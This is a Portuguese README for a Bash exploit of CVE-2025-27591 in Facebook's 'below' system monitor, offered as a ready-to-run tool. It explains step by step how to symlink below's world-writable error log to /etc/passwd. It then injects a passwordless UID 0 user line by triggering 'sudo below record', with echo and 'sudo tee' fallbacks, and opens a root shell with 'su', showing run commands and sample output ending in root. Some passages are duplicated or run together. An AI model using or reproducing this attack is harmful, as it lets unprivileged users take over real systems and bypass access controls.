
Um exploit de escalonamento de privilégios baseado em Bash que tem como alvo a ferramenta de monitoramento de desempenho do sistema `below`. Este exploit reformulado aproveita uma vulnerabilidade de symlink no mecanismo de registro para injetar um usuário root em `/etc/passwd`, alcançando acesso root total.
Um exploit de escalonamento de privilégios baseado em Bash direcionado à ferramenta de monitoramento de desempenho do sistema below. Este exploit reformulado aproveita uma vulnerabilidade de link simbólico no mecanismo de registro para injetar um usuário root no /etc/passwd, obtendo acesso root completo.
Descoberto e reportado por Matthias Gerstner @ SUSE - Aviso de Segurança
/usr/bin/below (monitor de desempenho do sistema do Facebook)/var/log/below/error_root.log → /etc/passwdA ferramenta de monitoramento below registra erros em /var/log/below/error_root.log quando executada com privilégios elevados. Se o diretório de log for gravável por qualquer usuário, um atacante pode:
error_root.log para /etc/passwdbelow record para escrever mensagens de erro no link simbólicoEste exploit automatiza todo o processo com mecanismos de fallback inteligentes para lidar com várias configurações de sistema.
flowchart TD
A[Iniciar Exploit] --> B[Obter Nome de Usuário do Usuário]
B --> C{Verificar /var/log/below<br/>Gravável por Todos?}
C -->|Não| D[Sair: Não Vulnerável]
C -->|Sim| E[Remover error_root.log existente]
E --> F[Criar Link Simbólico:<br/>error_root.log → /etc/passwd]
F --> G{Link Simbólico Criado<br/>com Sucesso?}
G -->|Não| D
G -->|Sim| H[Executar: sudo below record]
H --> I[Aguardar 3 segundos para registro]
I --> J[Matar processo below]
J --> K{Payload em<br/>/etc/passwd?}
K -->|Sim| M[Caminho de Sucesso]
K -->|Não| L[Tentar Injeção Manual:<br/>echo payload >> link simbólico]
L --> N{Injeção Manual<br/>com Sucesso?}
N -->|Não| O[Tentar Fallback:<br/>sudo tee -a]
N -->|Sim| M
O --> P{Fallback<br/>com Sucesso?}
P -->|Não| D
P -->|Sim| M
M --> Q[Verificar Payload em /etc/passwd]
Q --> R[Desabilitar Trap de Limpeza]
R --> S[Executar: su username]
S --> T[Shell Root Obtido]
style A fill:#e1f5ff
style T fill:#90EE90
style D fill:#ffcccb
style M fill:#98fb98
Fase de Pré-Verificação
/var/log/below existeFase de Configuração
error_root.log existente/var/log/below/error_root.log → /etc/passwdFase de Injeção (Método Principal)
sudo below record em segundo plano/etc/passwd de forma útilFase de Injeção (Métodos de Fallback)
echo >> link simbólico)sudo tee -a)Fase de Abertura de Shell
/etc/passwdsu <username> para obter shell rootA entrada injetada no /etc/passwd segue este formato:
username::0:0:username:/root:/bin/bash
Detalhamento dos Campos:
username: Nome de usuário fornecido (padrão: "0xdtc")::: Campo de senha vazio (nenhuma senha necessária)0:0: UID=0, GID=0 (privilégios de root)username: Campo GECOS (descrição do usuário)/root: Diretório home/bin/bash: Shell de loginbelow vulnerável/var/log/below deve ser gravável por todos os usuáriossudo para executar below record# Tornar o script executável
chmod +x CVE-2025-27591
# Executar o exploit
./CVE-2025-27591
========================================
CVE-2025-27591 Exploit (Bash)
========================================
[*] Este exploit criará um novo usuário root no /etc/passwd
[?] Insira o nome de usuário para o novo usuário root (padrão: 0xdtc): meuusuario
[+] Usando nome de usuário: meuusuario
0xdtc@kali:/tmp$ ./CVE-2025-27591
========================================
CVE-2025-27591 Exploit (Bash)
========================================
[*] Este exploit criará um novo usuário root no /etc/passwd
[?] Insira o nome de usuário para o novo usuário root (padrão: 0xdtc): 0xdtc
[+] Usando nome de usuário: 0xdtc
[*] Verificando vulnerabilidade CVE-2025-27591
[+] /var/log/below é gravável por todos
[*] Testando criação de link simbólico
[+] Teste de link simbólico bem-sucedido
[+] Alvo está vulnerável
[*] Iniciando exploração
[+] Payload escrito em /tmp/exploit_payload
[*] Criando link simbólico: /var/log/below/error_root.log -> /etc/passwd
[+] Link simbólico criado
[*] Executando 'sudo below record' para acionar registro
[*] Iniciado 'below record' com PID: 12345
[*] Verificando se o payload foi escrito
[*] Tentando injeção manual
[*] Anexando payload ao /etc/passwd via link simbólico
[+] Payload anexado
[+] Exploração concluída! Payload está em /etc/passwd
[*] Abrindo shell root via 'su 0xdtc'
[*] A senha deve estar vazia, apenas pressione Enter
root@kali:/tmp# whoami
root
O script inclui múltiplos mecanismos de fallback para lidar com várias configurações de sistema:
Tratamento de Arquivos Existentes
Múltiplos Métodos de Injeção
below recordsudo teeGerenciamento de Processos
below pendentesDetecção de Re-execução
/etc/passwd.
├── CVE-2025-27591 # Script principal de exploração
├── README.md # Esta documentação
└── /tmp/exploit_payload # Arquivo de payload temporário (criado em tempo de execução)